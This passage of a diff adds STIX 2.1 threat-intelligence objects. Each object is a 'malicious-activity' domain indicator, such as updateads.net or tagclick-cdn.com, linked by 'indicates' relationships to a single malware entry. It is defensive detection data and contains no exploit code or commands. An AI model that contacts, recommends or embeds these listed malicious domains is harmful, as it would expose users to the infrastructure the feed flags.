"indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wheelgroupmarketing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.098736Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--719e5136-810f-41fb-8763-b61bc4b1ecc3", + "created": "2023-10-23T15:49:48.098974Z", + "modified": "2023-10-23T15:49:48.098974Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae815af1-c40d-4134-9497-f347c582d968", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d54d1b8-e4e3-4e0b-8048-94a81a6bae9c", + "created": "2023-10-23T15:49:48.099053Z", + "modified": "2023-10-23T15:49:48.099053Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snoweeanalytics.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.099053Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f3df293-0837-4b2e-89ec-efbea1f2638e", + "created": "2023-10-23T15:49:48.099296Z", + "modified": "2023-10-23T15:49:48.099296Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d54d1b8-e4e3-4e0b-8048-94a81a6bae9c", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5fe2c4d-00c5-445e-bec3-63dc1eb7ccb7", + "created": "2023-10-23T15:49:48.099375Z", + "modified": "2023-10-23T15:49:48.099375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='baba8861.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.099375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec7be956-496e-4301-bc63-c638dda9ab23", + "created": "2023-10-23T15:49:48.09964Z", + "modified": "2023-10-23T15:49:48.09964Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5fe2c4d-00c5-445e-bec3-63dc1eb7ccb7", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f47a3e0e-e4a6-4c20-ae80-5f4cd9904ffe", + "created": "2023-10-23T15:49:48.099716Z", + "modified": "2023-10-23T15:49:48.099716Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crowd-tracking.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.099716Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--813f655a-5255-4f96-93e4-568b04df4564", + "created": "2023-10-23T15:49:48.099995Z", + "modified": "2023-10-23T15:49:48.099995Z", + "relationship_type": "indicates", + "source_ref": "indicator--f47a3e0e-e4a6-4c20-ae80-5f4cd9904ffe", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f24a29e0-a2e4-475a-8fdb-789082aa7f32", + "created": "2023-10-23T15:49:48.100078Z", + "modified": "2023-10-23T15:49:48.100078Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tempoinformacao.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.100078Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34b89632-b42e-41fd-85d0-ec1cd7fadc5b", + "created": "2023-10-23T15:49:48.100322Z", + "modified": "2023-10-23T15:49:48.100322Z", + "relationship_type": "indicates", + "source_ref": "indicator--f24a29e0-a2e4-475a-8fdb-789082aa7f32", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97e62ced-69d8-46e7-a3a5-1a1947711a6a", + "created": "2023-10-23T15:49:48.100403Z", + "modified": "2023-10-23T15:49:48.100403Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='balancedcistern.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.100403Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd750e87-1f89-4fba-b9a3-b99cde509ad8", + "created": "2023-10-23T15:49:48.100648Z", + "modified": "2023-10-23T15:49:48.100648Z", + "relationship_type": "indicates", + "source_ref": "indicator--97e62ced-69d8-46e7-a3a5-1a1947711a6a", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f331b321-bca5-4787-bff2-fa26d2e399ef", + "created": "2023-10-23T15:49:48.100725Z", + "modified": "2023-10-23T15:49:48.100725Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updateads.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.100725Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eac49559-85d0-4625-8129-44d0c0328912", + "created": "2023-10-23T15:49:48.100993Z", + "modified": "2023-10-23T15:49:48.100993Z", + "relationship_type": "indicates", + "source_ref": "indicator--f331b321-bca5-4787-bff2-fa26d2e399ef", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5dd5deba-dfda-4c4c-b1aa-d96fb8cee7e8", + "created": "2023-10-23T15:49:48.101076Z", + "modified": "2023-10-23T15:49:48.101076Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='windpoweredalgae.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.101076Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34acf040-f54b-4e76-909d-972f2577489a", + "created": "2023-10-23T15:49:48.101392Z", + "modified": "2023-10-23T15:49:48.101392Z", + "relationship_type": "indicates", + "source_ref": "indicator--5dd5deba-dfda-4c4c-b1aa-d96fb8cee7e8", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a617dea-b927-4bc0-8787-a286d622057d", + "created": "2023-10-23T15:49:48.101476Z", + "modified": "2023-10-23T15:49:48.101476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='globalpromonet.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.101476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5e79d2c-3359-4c69-872e-e9ff7db6bb0e", + "created": "2023-10-23T15:49:48.101734Z", + "modified": "2023-10-23T15:49:48.101734Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a617dea-b927-4bc0-8787-a286d622057d", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d692d6b8-9fb5-4ee2-bb98-7a9983b93737", + "created": "2023-10-23T15:49:48.101815Z", + "modified": "2023-10-23T15:49:48.101815Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unlimitedteacup.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.101815Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6be8d67c-37ce-4dbd-b7bc-6c66618563ae", + "created": "2023-10-23T15:49:48.102058Z", + "modified": "2023-10-23T15:49:48.102058Z", + "relationship_type": "indicates", + "source_ref": "indicator--d692d6b8-9fb5-4ee2-bb98-7a9983b93737", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c262f70-2ad5-42ba-a350-aea761f3bb32", + "created": "2023-10-23T15:49:48.102136Z", + "modified": "2023-10-23T15:49:48.102136Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='freeaddelivery.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.102136Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f4187cf-cd41-457f-9315-ee7416ab2b78", + "created": "2023-10-23T15:49:48.102408Z", + "modified": "2023-10-23T15:49:48.102408Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c262f70-2ad5-42ba-a350-aea761f3bb32", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95c6a7cc-e878-4c1c-95ac-5ff80c8c2010", + "created": "2023-10-23T15:49:48.102485Z", + "modified": "2023-10-23T15:49:48.102485Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='improvingfitness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.102485Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be463a1b-a8ee-40fe-8da5-7ce8b781c364", + "created": "2023-10-23T15:49:48.102748Z", + "modified": "2023-10-23T15:49:48.102748Z", + "relationship_type": "indicates", + "source_ref": "indicator--95c6a7cc-e878-4c1c-95ac-5ff80c8c2010", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--191b310a-78d8-4fab-acc7-b85269500f8f", + "created": "2023-10-23T15:49:48.102829Z", + "modified": "2023-10-23T15:49:48.102829Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='8181data.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.102829Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c71cfe8c-b3c1-46b5-96f5-079b44489be2", + "created": "2023-10-23T15:49:48.103098Z", + "modified": "2023-10-23T15:49:48.103098Z", + "relationship_type": "indicates", + "source_ref": "indicator--191b310a-78d8-4fab-acc7-b85269500f8f", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e734b62-c86a-4e33-8895-aed54d9e88e1", + "created": "2023-10-23T15:49:48.103176Z", + "modified": "2023-10-23T15:49:48.103176Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adcreatorfree.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.103176Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e71dbf1-cc63-4d8f-8533-ea91bf741627", + "created": "2023-10-23T15:49:48.103452Z", + "modified": "2023-10-23T15:49:48.103452Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e734b62-c86a-4e33-8895-aed54d9e88e1", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9252f875-e1c0-4789-b24b-87ef8e0cdcef", + "created": "2023-10-23T15:49:48.103527Z", + "modified": "2023-10-23T15:49:48.103527Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='businessvideonews.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.103527Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e5fce91-5692-46eb-b6a0-5d6902fef71d", + "created": "2023-10-23T15:49:48.103764Z", + "modified": "2023-10-23T15:49:48.103764Z", + "relationship_type": "indicates", + "source_ref": "indicator--9252f875-e1c0-4789-b24b-87ef8e0cdcef", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--428d60ad-2511-4901-a4c8-f2146cc4edff", + "created": "2023-10-23T15:49:48.103839Z", + "modified": "2023-10-23T15:49:48.103839Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='datamarketplace.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.103839Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6c4dfab-93dc-461d-82e4-a040343ba9ef", + "created": "2023-10-23T15:49:48.104101Z", + "modified": "2023-10-23T15:49:48.104101Z", + "relationship_type": "indicates", + "source_ref": "indicator--428d60ad-2511-4901-a4c8-f2146cc4edff", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f274d4e6-f26f-435e-b486-46f34f7c30ce", + "created": "2023-10-23T15:49:48.104176Z", + "modified": "2023-10-23T15:49:48.104176Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koppercables.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.104176Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8e2725a-c8ca-4a15-835a-7c85805cc7e7", + "created": "2023-10-23T15:49:48.104438Z", + "modified": "2023-10-23T15:49:48.104438Z", + "relationship_type": "indicates", + "source_ref": "indicator--f274d4e6-f26f-435e-b486-46f34f7c30ce", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9335e60d-94a1-4213-8117-db84757be4a4", + "created": "2023-10-23T15:49:48.104514Z", + "modified": "2023-10-23T15:49:48.104514Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mediaclickers.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.104514Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c86738e2-6073-49a9-b0d5-8587450fe947", + "created": "2023-10-23T15:49:48.104814Z", + "modified": "2023-10-23T15:49:48.104814Z", + "relationship_type": "indicates", + "source_ref": "indicator--9335e60d-94a1-4213-8117-db84757be4a4", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8dcf31a6-cd08-42cc-8de6-34053e19d0eb", + "created": "2023-10-23T15:49:48.104888Z", + "modified": "2023-10-23T15:49:48.104888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swimporchingnow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.104888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2ed18d8-a21c-4912-a02e-b894b3222618", + "created": "2023-10-23T15:49:48.105121Z", + "modified": "2023-10-23T15:49:48.105121Z", + "relationship_type": "indicates", + "source_ref": "indicator--8dcf31a6-cd08-42cc-8de6-34053e19d0eb", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f87e054-aa26-406b-9a24-7de92e8aee41", + "created": "2023-10-23T15:49:48.105196Z", + "modified": "2023-10-23T15:49:48.105196Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='healthymarshmellow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.105196Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--02006326-d970-4f0b-8d81-021e4ef8350f", + "created": "2023-10-23T15:49:48.105461Z", + "modified": "2023-10-23T15:49:48.105461Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f87e054-aa26-406b-9a24-7de92e8aee41", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3f1a0811-32ab-477d-887c-9a4e1dec5b79", + "created": "2023-10-23T15:49:48.105535Z", + "modified": "2023-10-23T15:49:48.105535Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathercasting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.105535Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad5fd076-bb26-4ba8-8a97-4c469dcdca1e", + "created": "2023-10-23T15:49:48.105768Z", + "modified": "2023-10-23T15:49:48.105768Z", + "relationship_type": "indicates", + "source_ref": "indicator--3f1a0811-32ab-477d-887c-9a4e1dec5b79", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c369ff37-c159-48f9-b0cd-f0e5d3db8b17", + "created": "2023-10-23T15:49:48.105842Z", + "modified": "2023-10-23T15:49:48.105842Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudyundat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.105842Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83883f6c-6732-4c13-9dec-f04a021b7ef6", + "created": "2023-10-23T15:49:48.106074Z", + "modified": "2023-10-23T15:49:48.106074Z", + "relationship_type": "indicates", + "source_ref": "indicator--c369ff37-c159-48f9-b0cd-f0e5d3db8b17", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93f8404b-a5e1-4063-afed-59f1fa1b8d1b", + "created": "2023-10-23T15:49:48.106148Z", + "modified": "2023-10-23T15:49:48.106148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='beifang6688.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.106148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a13c487-a295-47f0-9c1e-4d57b7e40b54", + "created": "2023-10-23T15:49:48.106383Z", + "modified": "2023-10-23T15:49:48.106383Z", + "relationship_type": "indicates", + "source_ref": "indicator--93f8404b-a5e1-4063-afed-59f1fa1b8d1b", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca2186ff-653d-4981-b7e4-d2800bee46fc", + "created": "2023-10-23T15:49:48.106457Z", + "modified": "2023-10-23T15:49:48.106457Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dreamshoppingphoto.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.106457Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eeed048b-dc56-4f80-b96b-7a089f2d5879", + "created": "2023-10-23T15:49:48.106699Z", + "modified": "2023-10-23T15:49:48.106699Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca2186ff-653d-4981-b7e4-d2800bee46fc", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d51b1c1-fbc2-4ac7-8095-372740bdd7ec", + "created": "2023-10-23T15:49:48.106775Z", + "modified": "2023-10-23T15:49:48.106775Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tagclick-cdn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.106775Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5e146c1-97d4-44fa-8ac5-9630b7bac1bf", + "created": "2023-10-23T15:49:48.107005Z", + "modified": "2023-10-23T15:49:48.107005Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d51b1c1-fbc2-4ac7-8095-372740bdd7ec", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f02287ac-ca16-41a2-978e-aaf42e4170ef", + "created": "2023-10-23T15:49:48.107077Z", + "modified": "2023-10-23T15:49:48.107077Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestnewsfeed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.107077Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e777eb5-6e95-478c-82ec-77f5dab6f5ee", + "created": "2023-10-23T15:49:48.107311Z", + "modified": "2023-10-23T15:49:48.107311Z", + "relationship_type": "indicates", + "source_ref": "indicator--f02287ac-ca16-41a2-978e-aaf42e4170ef", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86794de5-51b3-4e9d-8954-99b42d835556", + "created": "2023-10-23T15:49:48.107383Z", + "modified": "2023-10-23T15:49:48.107383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='futebolnoticia.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.107383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--06594d02-6cb8-4b28-9a67-6842a7d087aa", + "created": "2023-10-23T15:49:48.107687Z", + "modified": "2023-10-23T15:49:48.107687Z", + "relationship_type": "indicates", + "source_ref": "indicator--86794de5-51b3-4e9d-8954-99b42d835556", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bbe467c6-25b0-48f5-bcae-80c34daadcaf", + "created": "2023-10-23T15:49:48.107768Z", + "modified": "2023-10-23T15:49:48.107768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ans7tv.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.107768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--780ae564-9a38-4e7d-b963-5796ac0e51dd", + "created": "2023-10-23T15:49:48.108032Z", + "modified": "2023-10-23T15:49:48.108032Z", + "relationship_type": "indicates", + "source_ref": "indicator--bbe467c6-25b0-48f5-bcae-80c34daadcaf", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5533df62-5895-48b1-a90b-b7380f7edbeb", + "created": "2023-10-23T15:49:48.108107Z", + "modified": "2023-10-23T15:49:48.108107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='floranewstoday.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.108107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a37c6b22-1458-4f45-9f0d-19a0f14235e2", + "created": "2023-10-23T15:49:48.108339Z", + "modified": "2023-10-23T15:49:48.108339Z", + "relationship_type": "indicates", + "source_ref": "indicator--5533df62-5895-48b1-a90b-b7380f7edbeb", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6291b7f5-5152-4030-86c3-f8a14826ac0b", + "created": "2023-10-23T15:49:48.108413Z", + "modified": "2023-10-23T15:49:48.108413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scoreclicks.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.108413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3eedd5b0-ab5c-4386-8b75-7296a2e3b7a2", + "created": "2023-10-23T15:49:48.108643Z", + "modified": "2023-10-23T15:49:48.108643Z", + "relationship_type": "indicates", + "source_ref": "indicator--6291b7f5-5152-4030-86c3-f8a14826ac0b", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f380dca6-7ef7-45f7-bb01-ef4110f8baf1", + "created": "2023-10-23T15:49:48.108718Z", + "modified": "2023-10-23T15:49:48.108718Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adsfreetracking.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.108718Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c6e26c6b-e0f1-49bb-830a-9876b512d1c6", + "created": "2023-10-23T15:49:48.108953Z", + "modified": "2023-10-23T15:49:48.108953Z", + "relationship_type": "indicates", + "source_ref": "indicator--f380dca6-7ef7-45f7-bb01-ef4110f8baf1", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--69292d96-ffec-4507-b700-b90db0446541", + "created": "2023-10-23T15:49:48.109027Z", + "modified": "2023-10-23T15:49:48.109027Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='networkaccessory.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.109027Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--caba4208-0b4c-45f5-8b28-2a90e4fec0ac", + "created": "2023-10-23T15:49:48.109263Z", + "modified": "2023-10-23T15:49:48.109263Z", + "relationship_type": "indicates", + "source_ref": "indicator--69292d96-ffec-4507-b700-b90db0446541", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--15fc5984-6599-42b6-8d0a-31a85702e558", + "created": "2023-10-23T15:49:48.109338Z", + "modified": "2023-10-23T15:49:48.109338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='static3video.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.109338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--487cbd59-602e-411d-9a57-fba96543df1d", + "created": "2023-10-23T15:49:48.109573Z", + "modified": "2023-10-23T15:49:48.109573Z", + "relationship_type": "indicates", + "source_ref": "indicator--15fc5984-6599-42b6-8d0a-31a85702e558", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--149d362e-8bc0-42b2-907b-849df100fb78", + "created": "2023-10-23T15:49:48.109647Z", + "modified": "2023-10-23T15:49:48.109647Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestonlineads.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.109647Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4cc4773-6a0a-45e1-9d7c-daf19d7e8119", + "created": "2023-10-23T15:49:48.109881Z", + "modified": "2023-10-23T15:49:48.109881Z", + "relationship_type": "indicates", + "source_ref": "indicator--149d362e-8bc0-42b2-907b-849df100fb78", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--752cb921-19d2-4112-8be3-005386edce85", + "created": "2023-10-23T15:49:48.109955Z", + "modified": "2023-10-23T15:49:48.109955Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smartsavingmarketing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.109955Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--320c76a0-2545-4971-a4f2-0c7a2d3d8bc3", + "created": "2023-10-23T15:49:48.110195Z", + "modified": "2023-10-23T15:49:48.110195Z", + "relationship_type": "indicates", + "source_ref": "indicator--752cb921-19d2-4112-8be3-005386edce85", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e5fadc40-958a-4a0b-a96c-c0fb20bfef61", + "created": "2023-10-23T15:49:48.110268Z", + "modified": "2023-10-23T15:49:48.110268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastfindads.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.110268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e90915b-ae00-4d93-8f50-e1cabfce248e", + "created": "2023-10-23T15:49:48.110505Z", + "modified": "2023-10-23T15:49:48.110505Z", + "relationship_type": "indicates", + "source_ref": "indicator--e5fadc40-958a-4a0b-a96c-c0fb20bfef61", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--636d78c7-3228-4f1f-90af-966f693aa82e", + "created": "2023-10-23T15:49:48.110579Z", + "modified": "2023-10-23T15:49:48.110579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perksync.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.110579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fb0c638e-afe3-4793-bc00-39beee17f4b5", + "created": "2023-10-23T15:49:48.110877Z", + "modified": "2023-10-23T15:49:48.110877Z", + "relationship_type": "indicates", + "source_ref": "indicator--636d78c7-3228-4f1f-90af-966f693aa82e", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 